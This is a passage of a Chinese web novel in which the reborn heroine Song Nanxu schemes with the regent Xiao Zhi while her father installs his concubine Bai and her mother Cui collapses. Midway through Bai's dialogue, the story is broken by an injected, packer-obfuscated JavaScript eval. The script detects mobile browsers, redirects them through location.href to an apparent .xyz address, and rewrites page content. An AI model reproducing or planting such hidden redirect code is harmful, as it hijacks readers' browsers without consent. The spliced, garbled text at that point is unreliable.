直到马车停在了安远侯府外,崔氏兴致缺缺地下了马车,可当她瞧见了府内景象时,原本拉长的脸子顺便变得更难看了。 只见侯府的下人将一抬抬的箱笼往门里搬。 庞大正有条不紊地指挥着府中家丁干活:“都给我仔细着点,这些物件儿金贵着呢,若若是磕了碰了,仔细你们的皮!” 崔氏微微蹙眉,疑惑而不解:“庞管事,这是在做什么?” 庞大闻声,立马转身,恭敬地朝崔氏见了个礼:“夫人!” 崔氏挑眉,往庞大的身后瞥了一眼:“这些箱笼里装得是何物?” 庞大脸色难看,低着头支支吾吾道:“这……这……” 刚刚的马车已经让崔氏一肚子的火无处发泄,这会儿瞧着庞管事的样子,更是气不打一处来:“我在问你话,为何支支吾吾不敢言?!” 庞大抬了抬眼,用力地抿了抿唇:“回夫人,这是……这是……” 他深吸了一口气,像是鼓足了勇气似的道:“这是白姨娘的箱笼。” “白姨娘!” 崔氏猛然瞪大了眼睛! 白氏之女竟然进府了?! 昨儿宋萧然可不是这么说的! 他明明和自己说,要将白氏送到最远的庄子里去,怎么今儿,她才去了一趟大长公主府,宋萧然就将白氏的箱笼抬进了府呢?! 崔氏瞬间没有了以往的端庄自持,提起了裙摆,脚步飞快地朝侯府中走。 宋南絮站在门口,脸上依旧是凉薄淡漠,仿佛侯府之中所发生的任何事情都和她没有半分关系似的。 她在经过宋涵烟身边时,微一挑眉,唇畔勾起了一抹疏淡的笑:“妹妹,你的生身母亲入府了,你也应该去瞧瞧,莫要让人说你只一昧攀高枝,枉顾了自己的生母才好。” 宋涵烟恶狠狠地瞪了宋南絮一眼:“哼!即便我生母入府为妾,但我早已经入了族谱,记在了主母的名下,我便是安远侯府堂堂正正的嫡女,你能奈我何?!” “呵!”宋南絮以帕掩口,轻浅一笑:“你高兴就好。” 说罢,她略过宋涵烟,径自朝着老夫人的荣安堂方向走。 宋涵烟蹙眉,对于刚刚宋南絮的话她一时间摸不着头脑,什么叫她高兴就好? 这话—— 看着宋南絮渐行渐远的背影,宋涵烟隐约觉得她话中另有深意。 荣安堂。 严氏今儿心情格外好,一整个晌午都在院子里侍弄花草,听见门口的声响,她抬眸看去,瞧见了宋南絮,脸上堆满了喜色:“回来了,可得了端淑什么赏?” 宋南絮侧身从翠珠的怀中接过了青云剑,双手奉上给老太太过目。 严氏拧眉:“端淑竟将青云剑赏给了你?!” 说话时,她拿过了宋南絮手中剑,“锵啷”一声,宝剑出鞘,老太太在手中挽了几个剑花:“果然是一把好剑!” 严氏将青云剑收入鞘中:“此剑乃是先帝在世时特命宫中最厉害的铸剑师历时数月,采用寒铁所打造,锋利无比,削铁如泥,并且象征着监国长公主的权柄,只是,新帝继位,废除了端淑监国之权,这把剑也失去了它往日荣光。” 在给宋南絮讲述青云剑的来历时,严氏目光深深,面有凝重之色:“絮丫头,你可知端淑将此剑赠与你是何用意?” 宋南絮重新接回了严氏递还给她的剑,没有丝毫隐瞒的意思,直接对祖母道:“端淑此举,一来是要在众人面前抬举孙女儿,且要所有人知道安远侯府对她的不同,二来嘛……” 她微有停顿,眸色倏然变得凌厉了几分,唇角漾过了一抹冷肃的笑:“她是想要让我做她手中的剑,助她成就昔日青云剑的锋芒,夺回曾经的权利。” 严氏阖了阖浑浊老眸。 她静默了半晌,下意识握紧了宋南絮的手。 这丫头—— 远远要比自己想的还要聪明。 过慧易夭! 在严氏看来,宋南絮的聪慧,并不是好事。 她宁愿让心肝肉似的宝贝孙女儿嫁给寻常百姓,安稳平安顺遂的度过一生,也不希望宋南絮掺和进着混乱的旋涡之中。 但,瞧着小孙女儿脸上的坦然自若,仿佛一切尽在掌握之中的模样,严氏知道,她已然下定了决心,势必要蹚这趟浑水了! “哎!” 半晌,严氏重重叹了一口气:“絮丫头,祖母纵然见过沙场鏖战,尸横遍野,血流成河,也不希望你——” 宋南絮明白祖母心意,反手握住了她的手,稍稍用了用力:“祖母放心,孙女儿自有分寸。” 见她决心已下,严氏知道自己多说无用,重重地在宋南絮的手上拍了两下:“你既已下定了决心,那祖母便不再多言,且记住一点,完事以自身为重,切莫——” 严氏并没有把话说完,她舒了一口心中郁结之气,缓缓地转过了身子,扶着李嬷嬷的手朝荣安堂屋内走去。 须臾,远远传来了老太太的声音:“今儿折腾了这么长时间,想必你也累了,早些回去歇息吧。” 宋南絮看着祖母佝偻的背影,缓缓地垂下了颀长的睫羽,掩住了她眼里的神色。 开弓没有回头箭。 她既已布局,便没有退路可言! “走吧,回墨香居。” 回到了墨香居,宋南絮屏退了左右,只留下了青雀一人在门外候着。 她扭动机关,进入了密室之中。 再次出现时,已经来到了飘絮庐。 阵阵饭菜香从灶间里随着炊烟袅袅而出,宋南絮闻到了香味,肚子竟也跟着“咕咕”的叫了起来。 萧止端着白玉瓷盘从灶间里走了出来。 瞧见了宋南絮,他的脸上并没有丝毫的诧异,仿佛像是一个贤惠的娘子,做好了饭菜等着出门营生的夫君归来一般:“饿了吧,昨日我府中有人送了些鲜活的鳝鱼,我做了烩鳝,你尝尝可还合你的味道?” 第87章 与其被动,不如屠戮 “这是你做的?” 宋南絮甚是诧异地看着盘中色泽红亮香味扑鼻的烩鳝,再看看萧止,怎么瞧怎么觉着不像是堂堂摄政王能做出来的吃食。 萧止将瓷盘搁在了桌案上,拿起了筷子,仔细剔去了鱼骨,夹起了来送到了宋南絮的嘴边:“端淑的赏花宴只在些形式上,吃食瞧着味美却着实少得可怜。” “喏!尝尝味道如何?” 萧止一脸期许地望着宋南絮,似是在等她品尝后给出评价。 喂饭! 这举动—— 宋南絮蹙了蹙眉。 稍稍向后退了一步,她从萧止的手中接过了筷子,尝了一口烩鳝。 宋南絮眼瞧倏地一亮,这道烩鳝的味道极佳! 她缓抬睫眸,从头到脚,再从脚到头地来来回回打量了萧止两边。 而后,宋南絮轻哂了一声:“你时辰掐算的倒是刚好。” 萧止略带尴尬地摸了摸鼻尖:“你是怎么看出来的?” 宋南絮瞥了他一眼:“相爷也不瞧瞧你身上穿着宽袍宽袖连条襻膊都没有,衣袖上竟没有丝毫油星,再者——” 她凑近萧止,轻轻嗅了嗅他身上气味:“茶香混合着朝露凝香的气味,说明堪堪你是在房中品茗熏香,而非是在灶间烹饪。” 萧止被宋南絮无情的拆穿,脸上却没有丝毫的羞愧,反而得意洋洋地道:“竟然被你识破了。” 宋南絮白了他一眼:“是不是你做的又如何,何需逞这个能耐。” 她撩起了裙裳,俯身坐在了院中桦木圆桌前吃了起来:“只这一道菜么?” 萧止笑了笑:“当然不止——” 他说着,一溜烟地跑进了灶间里,这次出来,他索性也不装了,直将食盒拎了出来,搁在了桌案上,一道道菜肴摆放在了宋南絮的面前。 宋南絮的确饿得厉害。 正如萧止所说,那劳什子赏花宴上尽是些华而不实的吃食,折腾了大半天,她的确饿得厉害。 这会子,瞧着一桌子色香味俱全的吃食,顿时食指大动吃了起来。 萧止不曾动筷,只坐在宋南絮的对面,狭长的凤眸弯成了弦状,仿佛他并不是在看着宋南絮吃饭,而是在欣赏一幅传世的美人图一般。 宋南絮舀起了勺莼菜羹:“这般看我作甚?” 她下意识卷起了帕子,轻轻地拭了拭唇角:“可是沾上了汤汁?” 萧止瞧她用饭的模样,全然没有半点平日里端庄闺秀的模样,像是—— 他仔细思忖片刻,不禁笑了起来:“可有人说你吃饭像是一只饿了许久的猫儿么?” 宋南絮不以为意,边吃边道:“倘若三天只给你吃半个馊掉的窝头,你便知这世上除了吃饱肚子,其他的什么都是假的!” 萧止闻言深深地皱起了眉头,即便他知道普照庵到底是什么样的所在,却也不曾想过,宋南絮在其中竟有如此遭遇。 宋南絮微微勾起了嘴角:“你可是在想,如普照庵那般的销金窟,怎会寻点吃食都难?” 她夹了一块烩鳝放进了嘴里,继续说:“普照庵虽是娼馆,但能吃饱肚子的只有那些接客的红倌人而已,如我这般有家世背景的女子,他们自然是不敢逼迫卖身,只好安排作些杂役的活计,自然少不了挨打和饿肚子。” 萧止将眉头皱得更加深邃了起来。 在这种地方五年的时间,不知道宋南絮是如何熬过来的!? 半晌,萧止缓缓地舒展了眉心:“这些年来你受苦了!” 宋南絮拿着筷子的夹菜的手忽然一滞,只是须臾,她便夹起了菜,唇角扯出了一抹冷凝的霜华,轻哂一声道:“呵!从前吃过再多的苦楚,如今也熬过来了。” 萧止眸子里闪过了一抹凌厉之色:“你下一步要作何打算?” 宋南絮吃饱后,端起了茶盏轻啜了一口茶:“听闻褚夫人笃信佛法,三不五时便会去京中法华寺中听高僧讲法。” 萧止颔首道:“的确如此。” 宋南絮微笑道:“褚家只有褚津这一位独子,现如今又不明不白的死在了大长公主府中,褚庆司乃是端淑一手提拔之人,为了官位,为了前程,这位宗正寺卿定然不会明面上与端淑撕破脸面。” 她提及褚夫人笃信佛法,又言明褚庆司的为官之道,再一想到先前她提起普照庵时,眼底深处藏不住的愤恨与怨毒。 萧止将三件事联系到了一块儿—— “你是想要将普照庵暴露到明面上来?” 宋南絮不置可否地点了点头:“以你这位权倾朝野奸相都无法查出普照庵的幕后主使究竟为何人,那倒不如,让其中丑事摊开来。” 萧止却并不赞同宋南絮的谋划:“如此一来,你的名声——” 宋南絮极为自信地笑了笑:“名声?呵呵!在这个明面上海晏河清,实则满是误会肮脏的世道中,名声有什么用,倒不如这一桌珍馐美味来得要紧。” 她卷起了帕子擦了擦嘴:“与其担心一日东窗事发,人人诟病于我在庵堂中的遭遇,倒不如,化被动于主动,我自白其身遭遇换来一场酣畅淋漓的屠戮来得痛快!” 萧止微一挑眉。 世人都说,他疯,他奸,他歹毒,可真正做这些龌龊勾当的人却能成功隐藏在黑幕之后,翻手为云覆手为雨。 眼前的女子,不同于他人,有着一股子真实感。 她所遭受的委屈。 她所承受的苦难。 她不愿卑微隐匿,反而要大大方方的让世人瞧见,她才是真正的苦主。 好一句:化被动于主动! 好一个:酣畅淋漓的屠戮! 萧止笑了起来,一双眼眸宛如弦月,眼底却全是对宋南絮的欣赏。 她不亏是自己看中的女子! 转瞬间,萧止脸上换了一副玩世不恭的神情:“哎呀!只怕到时候整个金陵城中的公子哥都不敢上门提亲喽。” 宋南絮不屑地轻哂了一声。 萧止朝她身边凑了凑:“若是你嫁不出去的话,本相只好勉为其难,能念在与你相识一场的份上娶你过门了。” 宋南絮没有说话,而是盈盈起身。 她眸子里含了一缕浅淡柔笑,缓缓俯身凑到了萧止耳畔,迎接萧止灼灼的目光,一瞬不瞬地凝视着他的眼睛。 然后—— 宋南絮倏然抬起了脚,用了全身的力气,狠狠地踩向了萧止的脚面! 第88章 承晏太子,他的图谋 “嗯!” 萧止吃痛,闷哼一声,嘴角微微抽动,故作玩笑一般:“女侠饶命!” 宋南絮被他的样子逗得哭笑不得。 只怕若是此刻,萧止这般模样被人瞧了去,任由谁也无法将此时的他和那位权倾朝野的奸相联系到一起。 她抬起了脚,嗔了萧止一眼:“若再胡言乱语,下一次我定剁了你的蹄子!” 萧止捧起了自己的脚:“你这没良心的女人,我白费劲心思的帮你了。” “良心?” 宋南絮挑了一下眉梢:“我记得我好像和你说过,我早就没有了良心。” 她没有丝毫的退让,冷冽的目光直勾勾地盯着萧止的眼睛:“倘若丞相大人对我无利可图的话,又何必处心积虑呢!” 萧止既已被看穿,面上却仍是一副浪荡公子的模样。 他轻叹了一声:“只当我一片真心错付了。” 宋南絮唇角微微上扬:“真心?等什么时候丞相大人能够如实相告是怎么得知安远侯府密室,嵌入侯府的目的是什么的时候,你再来和我谈真心吧。” 男人的真心—— 呵呵! 宋南絮忍不住想笑。 她上辈子就是将‘真心’二字看得太重,最终才会落得被骨肉至亲活生生勒死的下场。 真心这个东西不是人人都有。 前世,为此二字,她倾尽所有,却被至亲所辜负。 她的真心实意,最终换来的却是处心积虑的算计。 如果她的心得不到善待的话,她便在心脏内外筑起坚固的城墙,开满带着剧毒的荆棘。 此生,无人再能辜负于她! 原本宋南絮还有些感谢的话,想要同萧止讲,可现在—— “我不想欠你,你帮了我,我便还给你。”宋南絮恢复了以往的清冷与疏离:“丞相大人,倒不如敞开天窗说亮话,你想从安远侯府得到什么?” 她坐了下来,目光淡淡,冷漠的让萧止感到陌生。 萧止蹙眉。 俗话说女人心海底针。 前一秒宋南絮还能和自己面对面坐着吃东西,眼下二人却仿佛互相利用,互相图谋,互相猜忌的离心的两个盟友。 萧止垂下了缀着长而密的睫羽的眸子,额间青丝垂落,遮住了他的大半张脸,一时间竟叫人瞧不出他的情绪。 半晌,萧止抬起了眸子,狭长的凤眸之中没有了先前的玩世不恭:“想要得到了一个真相。” 宋南絮凝视着他的眼睛:“什么真相?” 萧止面容冷肃,顷刻间,眼底满布仇恨:“二十年五年前承晏太子谋逆案的真相!!” 废太子?! 宋南絮不解,困惑。 萧止为什么想要知道二十五年前承晏太子谋逆案的真相?! 二十五年前,宋南絮尚未出生,况且此事牵扯皇家秘辛,昔日神宗在世时,曾下令不准任何人提及废太子一事,即便是皇族都唯恐避之不及,谈虎色变。 宋南絮依稀记得,她年幼时曾拜读过一首好诗,乃是那年最有望考取状元的书生所做,只是,此人却在科举中提及了承晏太子昔日治理水患一时,竟别神宗下令诛十族。 也是开国以来,唯一一次株连十族! 除九族以外,连同其老师全族尽数被杀! 往后便在无人敢提及承晏太子! 宋南絮诧异地看着萧止,不知道他为什么想要知道此事?! 每个人自有不可告人的秘密。 如宋南絮不会告诉任何一个人自己重生的秘密。 如萧止也不会将此事告知宋南絮。 既然知道问也是白问,宋南絮索性便没有发问,微微颔首道:“好!你既已助我多次,我定全力以赴为你在侯府寻查承晏太子相关事宜。” 萧止缓缓抬睫眸,声音低沉而沙哑:“你不怕么?” “怕?呵!” 宋南絮清冷一笑。 她是死过一次的人。 此生,她已全无畏惧,何来‘怕’字之说。 宋南絮撩起了裙裳,缓缓起身:“若有眉目,我自当转告。” 说罢,她转身便朝飘絮庐通往安远侯府密室走去。 萧止凝视着宋南絮渐行渐远的背影良久,目光之中似有燎原星火,仿佛下一瞬,便要燃起滔天烈焰,顷刻吞噬天地。 宋南絮刚将密室暗道整理好,外间便传来了三声轻轻地叩门声。 紧接着,门外传来了青雀的声音:“姑娘,锦绣院那边闹起来了。” 崔氏大闹一场在宋南絮的意料之中。 从回府时,瞧见庞管事名侯府小厮将白氏的箱笼抬进门的那一瞬起,宋南絮便知道定然是宋萧然在圣上的面前演成了这场戏。 即便不听不问,宋南絮也能猜出来,必然是皇帝赦免了白氏的罪则,应允了宋萧然的请求,将白氏迎入侯府。 宋萧然在朝中浸淫多年,明面上虽看似不参与党争,保持中立,但其门生,旧部遍布三省六部,若能将他揽入自己麾下,无疑是如虎添翼。 现今的朝堂之中,看似皇帝与萧止、端淑三足鼎立,但实则,皇帝所下的每一道圣旨最终的决定权却是在萧止的手上。 一个坐拥天下,却没有任何实权的皇帝,怎能甘心作一个臣子的傀儡。 更何况,为免外戚干政,萧止近乎屠戮了太后的母族,皇帝、太后与萧止之间隔着血海深仇。 他们是不会允许这样一个权臣,拥有凌驾于皇族之上的权利。 能够拉拢一人,他们的手中就多一个筹码,宋萧然在此时,亲手将自己的把柄送到皇帝的手中,皇帝和太后必然会卖这个人情。 一个先帝在世时抄家的罪臣之女,在他们看来就如同蝼蚁。 能够顺势将宋萧然拉拢到自己的阵营当中,皇帝和太后何乐不为呢! 太后下令赦免了白氏罪过,并亲下懿旨将白氏赐予宋萧然为妾,如此一来,白氏便不在是见不得光的罪臣之女,被人瞧不起的外室。 如今,她摇身一变,成为了太后亲赐宋萧然的妾室,那便是贵妾,身份何其贵重。 倘若崔氏聪明的话,心甘情愿的认命,好生安顿白氏换则罢了。 若是将此事闹翻了天,只怕会无法收场! 第89章 可笑,荒唐 “姑娘,要不要过去瞧瞧?” 青雀奉上了一盏茶,试探地开口问。 宋南絮结果了翠珠递给过来的茶盏,阖了阖杯盖,吹散了飘在茶汤上的两片茶叶,浅浅地呷了一口:“父亲将人安顿在哪了?” 青雀道:“闲月阁。” 宋南絮抬了抬眼,轻哂了一声道:“倒是个好地方。” 青雀颔了颔首:“夫人知道此事已无回旋的余地,便似认命了一般,是在得知了侯爷将白姨娘安置在了闲月阁才闹了起来。” 闲月阁乃是昔年宋萧然与崔氏大婚时特意建造,二人大婚便在这里举办,其中摆设珍宝无数,每一样都是宋萧然亲自所选。 当年宋萧然可是说这闲月阁是专门为崔氏所建。 不久后,宋萧然承袭了爵位,老太太搬去了荣安堂调养身子,他便以此为由,让崔氏搬进了锦绣院。 而今看来宋萧然精心布置的闲月阁的目的—— 崔氏越想越是压不住心里的这股火,再加上,田妈妈在旁不断的添油加醋,终于,她发了狠,冲进了闲月阁,当真宋萧然的面将屋里砸了个稀巴烂。 宋萧然将白氏护在身后,生怕破碎的瓷片琉璃伤着了她:“崔月华!你闹够了没有!此事乃是太后做主,你若再闹下去,此事如若传到太后耳中——” 崔氏抬眸,狠狠地等着宋萧然:“你骗我!你竟然骗我!!” 宋萧然看着崔氏时,眼里是一片冷漠,仿佛疯狂摔砸的女人并非他相伴二十多年的枕边人。 骗?! 这些年来,宋萧然给崔氏编织了一场似幻般的美梦,将她牢牢禁锢在梦境之中。 于他而言,只是为了得到武安侯府的支持罢了。 他的心,只属于白玉蓉。 而今,木已成舟,宋萧然已无需再顾及其他。 他牵起了白玉蓉的手,放在自己的胸前,疏冷的眸子当中没有丝毫的情感可言,淡漠如同看着陌生人一般瞥了一眼崔氏:“本侯实话告诉你,我心中只有蓉儿一人!” 一瞬,崔氏像是老了几岁似的。 她的双腿仿佛没了力,再难支撑她的身体,一下子瘫软在地。 崔氏双手按在了地上的瓷片,划破了她的手掌,鲜血直流。 她像是感觉不到疼似的,双眼直勾勾地看着宋萧然:“你说过,你一生一世只爱我一人的,宋萧然!你怎么能骗我!” 崔氏猛然间抬起了头,恶狠狠地盯着依偎在宋萧然怀里的白玉蓉:“论样貌,论才情,论出身,我哪里不如她,宋萧然,为什么?你告诉我为什么?” 宋萧然依旧是那副淡漠的神情。 如今,他已不再需要武安侯府的扶持,他得到了皇帝、太后的青睐,他的蓉儿又是太后亲自赐婚,即便崔氏发作起来,就算是老武安侯亲临,宋萧然也丝毫不惧。 “呵!”宋萧然冷然一笑:“爱一个人无需理由!” “哈哈哈……” 崔氏忽然大笑了起来:“爱一个人无需理由!好一个无需理由!” 是啊! 爱一个人需要理由么? 崔氏苦苦追问一个答案,到头来却是一个没有答案的问题。 她爱上宋萧然,也只是因为在人群之中多看了他一眼而已。 也正是因为那一眼,她便认定了宋萧然是要与她度过余生的人,即便,父亲、母亲、兄长一再反对,她宁可绝食抗议,也要成就了这门姻缘。 可是到头来,她又得到了什么? 一个与自己日夜相对,却从未爱过自己的夫君! 一场因为权势所成就的姻缘。 崔氏垂下了眼眸,眼泪如同断了线的珠子一般坠落。 与其从宋萧然口中听到这些伤人的话,还不如让他骗自己一辈子。 她后悔了! 与其知道这些残酷的真相,她希望自己从未来过闲月阁闹着一场,至少这样,她还能够自己骗自己,帮着宋萧然找一个身不由己的理由。 然而—— “母亲!” 门口,倏然传来了宋涵烟的声音。 崔氏抬眸,泪水模糊的视线之中映出了她宝贝了五年的女儿的脸。 她面上倏地一喜。 即便白氏得到了宋萧然全部的爱,至少她还有一个宝贝女儿。 崔氏抬手试图想要抓住这一份虚幻的母女之情,满心的委屈顷刻间化作了一声:“烟儿!” 然而—— 宋涵烟像是没有听见崔氏的声音一般,径直跑向了白氏,扑进了她的怀抱之中。 自崔氏闯进了闲月阁,白氏始终一言不发地躲在宋萧然的身后,看这男人为自己遮风挡雨,看崔氏逐渐崩溃。 直到宋涵烟的到来,白氏总算是开了口,她的声音温柔的像是一汪泉水:“快到母亲这里来。” 宋涵烟小女儿撒娇一般,依偎在白氏的怀里:“母亲,女儿总算是盼到这一天了!” 崔氏傻了眼。 她呆若木鸡地僵在了原处。 瞳孔在眼眶之中瑟缩,崔氏不敢相信眼前的这一幕。 一切的变故发生的实在是太快了,打了崔氏一个措手不及。 昨儿,宋萧然、宋涵烟父女二人对她还百依百顺,哄着劝着,仿佛将她视若天上明月,紧紧过了一天的时间,他们竟然将她视若敝履。 崔氏无法接受。 她整个人剧烈地颤抖了起来,身体止不住地抖动着,眼泪大颗大颗的摔碎在地上。 “你们……你们……” 这一刻,崔氏方才意识到,自己被他们父女二人当做了杂耍班里的猴子! 可笑! 可笑至极! 崔氏哭着哭着,忽然笑了起来。 她嘲笑自己的幼稚,嘲笑自己的眼光。 她终究是输了! 崔氏转过头,猩红的眼睛恶狠狠地瞪着白氏,她输了一个什么都不用去争,什么都不用去抢,自有宋萧然、宋涵烟父女二人捧到她面前的白氏。 崔氏扶着墙壁,踉踉跄跄地站了起来。 田、刘、花三个妈妈立马上前想要搀扶。 崔氏视若无睹,踉跄地朝着闲月阁外走,忽地,一道人影挡住了她的去路,她缓缓地抬起了眼眸,面前站着的竟是她亲生的女儿。 对! 她还有亲生女儿! 崔氏似是找到了主心骨,身体里一下子来了力量,她上前一把抓住了宋南絮的手,声音哽咽地道:“絮儿,你父亲她负了我!他负了我!母亲现在只有你了!” 宋南絮神情冷漠,对亲生母亲的眼泪视若无睹。 她一根一根地掰开了崔氏的手指,居高临下,仿佛睥睨蝼蚁,她凑到了崔氏的耳畔,声音低沉而冷肃,一字一顿地道:“从你将我送进庵堂的那一刻开始,可曾想过母女情分?为了宋涵烟你倾尽所有,可曾想过这五年来我遭遇了什么?现在你说你只有我?呵呵!你不觉得可笑,不觉得荒唐么?” 第90章 法华寺,许愿池 崔氏被震惊的体无完肤。 她瞪大了眼睛,瞳孔在眼眶之中猛然瑟缩。 她从未想过,这些话竟会是从自己的亲生女儿口中说出来。 崔氏想要反驳,想要告诉宋南絮她没有,这五年来的每一个日日夜夜无穷无尽的思念从不间断地折磨着她。 可是—— 崔氏张开了嘴巴,这些话却怎么也说不出口。 她真的—— 站在宋南絮的面前,一瞬不瞬地盯着她的眼睛,最终,崔氏无力地耷拉下了头。 她思忖半晌,却发现自己辩无可辩。 宋南絮说的没有错,五年前是自己亲手将她送上去往庵堂的马车,耳畔女儿一声声痛苦的呼唤让崔氏记忆犹新。 也是自己在身边出现宋涵烟后,五年里逐渐忘却了自己的亲生女儿,即便她回府后,一颗心依旧偏向了宋涵烟。 她错了! 而且是大错特错! 崔氏一手扶着墙壁,一手扶着田妈妈的手,每走一步,她都仿佛踩在刀刃上,心在滴血,那种和女儿的陌生疏离,疼得让她无法呼吸。 这一刻,崔氏不仅仅失去了丈夫,养女,就连亲生女儿看她时的眼神也是充满了怨与恨。 “啊!” 崔氏走出了闲月阁,抬起头看着灰蒙蒙的天,发出了一声声嘶力竭的吼叫。 倏然,她身子一侧,猛地吐出了一大口鲜血,两眼一黑,直挺挺地倒了下去。 “夫人……夫人……” 门外崔氏身边的田、花、刘三个妈妈乱做一团。 田妈妈快速折返回了闲月阁:“侯爷,夫人她晕倒了!” 宋萧然一脸淡漠:“晕倒了就去找大夫,我又不会看病。” 宋南絮在一旁瞧了,嘴角不禁勾起了一抹冷凝的弧度。 看啊!这就是她的父亲,冷漠,无情,这一点,宋南絮觉得自己完美的继承了下来,甚至,她会比宋萧然做的更绝,更狠! “父亲!” 宋南絮行至宋萧然面前,屈膝一礼。 宋萧然微有不悦,用力地皱了一下眉,声音低沉地质问道:“怎么?你也是来职责我的么?!” 宋南絮轻笑:“女儿不敢,女儿是特意前来恭喜父亲的。” 宋萧然挑了一下眉尾:“恭喜?!我何喜之有啊?!” 宋南絮脸上的笑容逐渐绽放,宛如一朵盛放之中的艳丽妖娆的芍药:“父亲能迎白姨娘进门,便已说明父亲的妙计奏了效,自然是可喜可贺的事。” 宋萧然见她并没有为崔氏说话,反而还恭喜了自己,更重要的是这丫头知道进退,明明是她为自己出谋划策,却说是自己妙计奏效。 他不由得高看了宋南絮一眼。 如此一来,也更加确信自己的想法是正确。 这样一个既聪明又懂大局的女儿,倘若能够进宫的话—— 宋萧然不由想起了今日在御书房中。 自己有意无意地提起宋南絮几次,便成功引起了圣上的兴趣。 他相信这盘棋布对了! 宋南絮将会是他至关紧要的一枚棋子。 宋南絮面带微笑,目光缓缓地从宋萧然的身上挪到了白氏的身上,她微一颔首,莞尔浅笑,极有礼数地施了一礼,轻唤了一声:“白姨娘。” 白氏微微颔首,回应了宋南絮一个微笑。 世家大族中的妾室也是分三六九等的,最末等便是贱妾,而后是良民百姓家抬进门的良妾,再者是已生育子女的贵妾,白氏虽为世人所瞧不起的外室多年,但是她是得了太后懿旨入的侯府,又为宋萧然生了唯二的女儿,身份自然是要贵重一些。 可是,即便如此,嫡出的小姐就是嫡出,身份更是远远高过贵妾,本应是白氏对宋南絮见礼的,可偏偏,宋南絮却向她施了一礼。 单这一点,宋萧然在看宋南絮时的眼神里就多了一丝赞许。 白氏松开了宋涵烟的手,莲步微摇,径直走到了宋南絮的面前:“妾身初入侯府,也不知道大姑娘稀罕什么——” 她说着,将头上一支镂空云纹白玉簪拔了下来,递到了宋南絮的手中:“妾身瞧大姑娘打扮的素净,想来也不喜太过华贵的首饰,这支簪子样式别致, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15773043|171445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想必姑娘定会喜欢。” 宋南絮笑笑道:“多谢姨娘了。” 白氏亲手为宋南絮簪在了髻上,扭过身,娇花似的脸,扬起了一抹温柔的笑:“侯爷瞧瞧如何?” 宋萧然的眼里对白氏是无尽的爱怜。 他紧紧地握住了白氏的手:“这可是你白家留下来为数不多的物件儿,你当真舍得?” 白氏垂下了眸子,眼里多了一丝落寞,启唇却先叹了一口气才道:“哎!时过境迁,这金陵城中哪里还有白家了,妾身能得侯爷庇佑那便是宋家人。” 宋萧然笑望着白氏,眼睛里爱意仿佛能够驱散这世界上所有的冰雪。 宋南絮侧目看了一眼身边的青雀。 青雀举步上前,手中捧着一个锦匣。 宋南絮打开了匣子:“我和姨娘还真想到了一处去,这是前些日子老太太赏的一尊玉佛,我请了法华寺的高僧开了光,据传咱们金陵城的法华寺最是灵验,就连宫中的太后娘娘每个月初一都会亲临法华寺上香祈福呢。” 白氏听闻‘老太太’三个字,身子不由得抖了一下。 宋萧然立马知道她是在害怕,下意识地握紧了她的手,给了白氏一个安定的眼神。 宋南絮:“姨娘刚在这闲月阁中住下,想必还有许多箱笼要收拾,我便不留下来打扰姨娘了。” 白氏微笑颔首,侧目看了一眼身边的宋涵烟:“烟儿,替娘送送你姐姐。” 宋涵烟白了宋南絮一眼,站在了原地一动不动。 白氏微有不悦,轻轻地推了宋涵烟一下,给她使了一个眼色。 宋涵烟这才心不甘情不愿地将宋南絮送到了闲月阁门外。 宋南絮也没有和她有过多的言语,只顾着跟身边的青雀、翠珠、翠柳说话:“今儿我到大长公主府的客房更衣时,听两名女官说起法华寺的香火最是灵验。” 青雀微微颔首:“奴婢还听说法华寺中有一颗许愿池,不管你许了什么愿望,必然会实现呢。” 宋涵烟站在门口听着,眼珠子转了转,口中默念:“法华寺许愿池!” 第91章 掉落锦帕,全身而退 “彩莲。” 宋涵烟唤了一声,旋即,彩莲快步上前,她瞥了一眼宋南絮离去的背影,凑到了彩莲的耳畔,吩咐道:“你去打听打听法华寺的许愿池当真有宋南絮说得那般灵验?” “是。” 宋涵烟微眯起了眼,瞧着渐行渐远的宋南絮始终在和她的婢女说着法华寺。 倘若当真灵验的话—— 她抿抿唇,不禁笑了起来。 扭过头,小家碧玉似的俏丽模样,刚要进闲月阁的门,却倏地撞见了白氏投来的目光。 “娘!” 白氏的目光从疏淡变得柔和。 她朝宋涵烟招了招手:“烟儿,刚刚和你长姐都说什么了?” 宋涵烟:“没什么,娘,咱们母女二人总算是能够光明正大在侯府团聚了,以后,我也再也不用管别人叫母亲了。” 白氏抿唇浅笑,似是宠溺一般地在宋涵烟的鼻尖上轻轻地了一下,说:“不论如何,人前你还是要叫我姨娘,唤夫人为母亲,以免失了分寸落得一个不敬嫡母的名声。” “女儿知道了。” 白氏卷起了帕子轻轻地拭了拭宋涵烟粉雕玉砌似的小脸:“瞧你,跟个花脸猫儿似的。” 宋涵烟笑道:“女儿知道娘得了名分,高兴的一路跑过的。” 白氏微笑着颔了颔首:“赶紧回去洗一洗。” “嗯。”宋涵烟点了点头:“娘,那我先回悠然居了,晚些再过来陪您说话。” “去吧。” 白氏站在闲月阁门口,目送着宋涵烟离开。 待瞧不见她身影时,拎着的帕子一角松了手,绣海棠花图样的帕子缓缓地掉落在地。 宋萧然从屋内走了出来,捡起了地上的帕子,交换到了白氏的手中。 白氏接了过来:“侯爷,闲月阁中被夫人砸毁了不少物件儿——” 她话未说话,宋萧然急着打断了白氏的话,道:“不过是些寻常物件儿,回头我再命人送过来,倒是你,累了吧?我陪你歇一歇。” 白氏微笑颔首,扶着宋萧然的手走进了闲月阁。 只是,那方为宋涵烟擦拭过面颊的帕子却被扔在了地上。 瘦削的枝头悬挂的红日,渐渐沉入地平线,墨香居外的碧波池泛起了一层又一层灿金色的涟漪。 宋南絮坐在房门前,手中拿着一卷书册,双眸却始终眺望远处碧波池中的孤零零漂泊的落叶。 “姑娘,您都在门口坐了半个时辰了。”翠珠拿了一件大氅给宋南絮披在了身上:“眼瞧着快要天黑了,外面冷,仔细着了风寒才是。” 宋南絮侧目朝翠珠笑了笑:“你们不用伺候了,早些回房休息吧。” 